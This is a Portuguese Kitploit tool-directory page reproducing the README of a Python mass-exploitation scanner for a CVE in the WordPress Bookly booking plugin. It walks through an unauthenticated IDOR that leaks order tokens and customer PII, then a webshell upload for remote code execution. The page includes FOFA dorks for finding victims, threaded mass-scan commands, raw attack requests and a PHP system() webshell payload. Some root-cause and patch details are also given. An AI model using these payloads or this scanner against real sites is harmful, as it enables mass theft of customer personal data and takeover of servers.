Skip to content
KitploitKITPLOIT
FerramentasExploitsBlog
Log in
Enviar
FerramentasExploitsBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

FeedsContatoPrivacidade© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-93399 — Scanner de exploração em massa em Python para a CVE-2026-93399 no plugin Bookly do WordPress: deteção de versão, enumeração não autenticada de tokens de encomenda por IDOR, extração de PII e RCE por webshell. | Kitploit
Ferramentas/GitHubGitHub/josemour8/cve-2026-93399
ReconhecimentoScanners de VulnerabilidadesGeração de PayloadsExploraçãoExploração de Aplicações WebExfiltração de DadosSegurança WebTestes de Penetração
GitHubjosemour8/cve-2026-93399

CVE-2026-93399

Scanner de exploração em massa em Python para a CVE-2026-93399 no plugin Bookly do WordPress: deteção de versão, enumeração não autenticada de tokens de encomenda por IDOR, extração de PII e RCE por webshell.

2há 1 mêsAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Ver Repositório
Compartilhar

CVE-2026-93399

Bookly <= 28.2 IDOR não autenticado + Vazamento de PII + RCE

Scanner de exploração em massa para CVE-2026-93399 (CVSS 9.1 Crítico) que afeta o plugin WordPress Bookly — Online Scheduling and Appointment Booking System (versões <= 28.2).

Índice

  • Visão Geral
  • Cadeia de Vulnerabilidades
  • Versões Afetadas
  • Requisitos
  • Instalação
  • Uso
  • FOFA Dorks
  • Fluxo de Ataque
  • Formato de Saída
  • Detalhes Técnicos
  • Aviso Legal
  • Licença

Visão Geral

O plugin Bookly para WordPress é vulnerável a Insecure Direct Object Reference (IDOR) através das ações AJAX bookly_get_form_id, bookly_render_complete, bookly_add_to_calendar e bookly_rollback_order. Todas as ações são não autenticadas (_default => 'anonymous') e a proteção CSRF está desativada (csrfTokenValid() retorna true).

O handler bookly_get_form_id armazena cegamente o form_data controlado pelo atacante (incluindo order_id) em uma nova sessão de reserva sem qualquer validação. O handler bookly_render_complete então confia neste order_id injetado para buscar e retornar o token secreto do Order correspondente — permitindo que atacantes não autenticados enumerem IDs de pedidos sequenciais, divulguem tokens de pedidos de outros clientes, recuperem informações de calendário/agendamento e excluam permanentemente reservas arbitrárias não concluídas.

Cadeia de Vulnerabilidades

Step 1: getFormId       → inject form_data[order_id] = VICTIM_ID (IDOR)
Step 2: renderComplete  → leak victim order token via Order::query()
Step 3: addToCalendar    → extract customer PII (staff name, email, service, date)
Step 4: sessionSave     → inject file payload (RCE, requires Files add-on)

Versões Afetadas

  • Vulnerável: Bookly <= 28.2 (todas as versões até 28.2, inclusive)
  • Corrigido em: 28.3 (adicionada a whitelist _prepareFormData() e o sanitizador _prepareCartData())

Requisitos

  • Python 3.8+
  • Biblioteca requests
pip install requests

Instalação

git clone https://github.com/josemour8/CVE-2026-93399.git
cd CVE-2026-93399
pip install requests

Uso

Alvo Único

# Detect Bookly version (safe, no exploit)
python3 exploit.py -u http://target.com --detect

# IDOR: enumerate order tokens (1-50)
python3 exploit.py -u http://target.com --enumerate --start 1 --end 50

# PII extraction via ICS (staff name, email, appointment data)
python3 exploit.py -u http://target.com --pii

# RCE: attempt webshell upload via session injection
python3 exploit.py -u http://target.com --rce

# Full chain: IDOR + PII + RCE
python3 exploit.py -u http://target.com --full

Varredura em Massa

# Full chain on target list with 10 threads
python3 exploit.py -f targets.txt --full -th 10 -o results.txt

# Enumerate tokens across multiple targets
python3 exploit.py -f targets.txt --enumerate --start 1 --end 100 -th 20

Opções

FlagDescrição
-u, --urlURL de destino única
-f, --fileArquivo com URLs de destino (uma por linha)
--detectVerificar apenas a versão (seguro)
--enumerateIDOR: vazar tokens de pedido
--piiExtrair PII via exportação de calendário ICS
--rceTentar upload de webshell
--fullCadeia completa: IDOR + PII + RCE
--start NIniciar order_id (padrão: 1)
--end NFinalizar order_id (padrão: 50)
-th, --threads NNúmero de threads (padrão: 5)
-o, --output FILEArquivo de saída (padrão: results.txt)
-v, --verboseMostrar todas as tentativas

Dorks FOFA

Encontrar todas as instalações do Bookly

body="bookly-responsive-appointment-booking-tool"

Encontrar páginas do Bookly com formulário de reserva renderizado

body="BooklyL10nGlobal"

Específico da versão (vulnerável <= 28.2)

body="bookly-main.css?ver=28.2"

Combinado (maior confiança)

body="bookly-responsive-appointment-booking-tool" && body="BooklyL10nGlobal"

Encontrar alvos com o complemento Files (para RCE)

body="bookly-addon-files"

Encontrar alvos com campo de upload de arquivo configurado (com possibilidade de RCE)

body="bookly-js-upload"

Fluxo de Ataque

Etapa 1: Injetar order_id (IDOR)

POST /wp-admin/admin-ajax.php
Content-Type: application/x-www-form-urlencoded

action=bookly_get_form_id
form_data[order_id]=1
form_data[data][first_name]=x
form_data[chain][0][service_id]=1
form_data[chain][0][staff_ids][]=1
form_data[cart][0][service_id]=1
form_data[cart][0][staff_ids][]=1

Resposta:

{"success":true,"form_id":"a1b2c3d4e5f6...","status":{"booking":"new"}}

Código vulnerável (Ajax.php:45-46):

$form_id = Lib\FormSession::createSession();
Lib\FormSession::saveSession($form_id, self::parameter('form_data'));
// form_data stored RAW — no _prepareFormData() whitelist in <= 28.2

Passo 2: Vazar o token de pedido

POST /wp-admin/admin-ajax.php
action=bookly_render_complete
form_id=a1b2c3d4e5f6...

Resposta:

{"success":true,"bookly_order":"de2730e13265e86364172d99444ebe3d","html":"..."}

Código vulnerável (Ajax.php:733):

'bookly_order' => Lib\Entities\Order::query()
    ->where('id', $userData->getOrderId())  // attacker-controlled
    ->fetchVar('token')                       // victim token leaked

Passo 3: Extrair PII via ICS

GET /wp-admin/admin-ajax.php?action=bookly_add_to_calendar&bookly_order=LEAKED_TOKEN&calendar=ics

Resposta: arquivo ICS com dados do cliente:

BEGIN:VEVENT
ORGANIZER;CN=Admissions Manager:mailto:[email protected]
SUMMARY:TNS Gulberg - Tour
DTSTART:20230908T080000Z
END:VEVENT

Passo 4: RCE (requer o add-on Files)

POST /wp-admin/admin-ajax.php
action=bookly_files_upload
custom_field_id=<field_id_from_booking_form>
csrf_token=<from_homepage>
file=shell.php (Content: <?php echo system($_GET["c"]); ?>)

Localização do shell: /wp-content/uploads/bookly-files/shell.php

Formato de Saída

http://target.com | IDOR | order_id=1 | token=de2730e13265e86364172d99444ebe3d
http://target.com | PII | order_id=2 | staff=Admissions Manager | [email protected] | service=TNS Gulberg - Tour | date=20230908T080000Z
http://target.com | RCE | http://target.com/wp-content/uploads/bookly-files/pxd001.php?c=id

Detalhes Técnicos

Causa Raiz

O handler getFormId() armazena todo o parâmetro form_data (JSON controlado pelo usuário) no banco de dados de sessão sem qualquer whitelist ou sanitização. Isso permite que um atacante injete chaves de sessão arbitrárias, incluindo order_id.

O handler renderComplete() lê order_id da sessão e consulta a tabela Order diretamente — sem verificar se a sessão atual criou aquela ordem.

Duas Falhas Combinadas

  1. CSRF desabilitado — csrfTokenValid() é sobrescrito para return true no módulo de reservas
  2. Todas as ações anônimas — permissions() retorna array('_default' => 'anonymous'), então cada handler registra ambos os hooks wp_ajax_ e wp_ajax_nopriv_

A Correção (28.3)

A versão 28.3 adicionou _prepareFormData() — uma whitelist estrita que remove tudo exceto as configurações de exibição (skip_service_step, hide_service_part1, hide_service_part2, defaults). Também adicionou _prepareCartData() para sanitizar as chaves dos itens do carrinho.

// 28.2 (vulnerable):
Lib\FormSession::saveSession($form_id, self::parameter('form_data'));

// 28.3 (fixed):
Lib\FormSession::saveSession($form_id, self::_prepareFormData(self::parameter('form_data')));

Pré-requisitos para RCE

Baixar ferramenta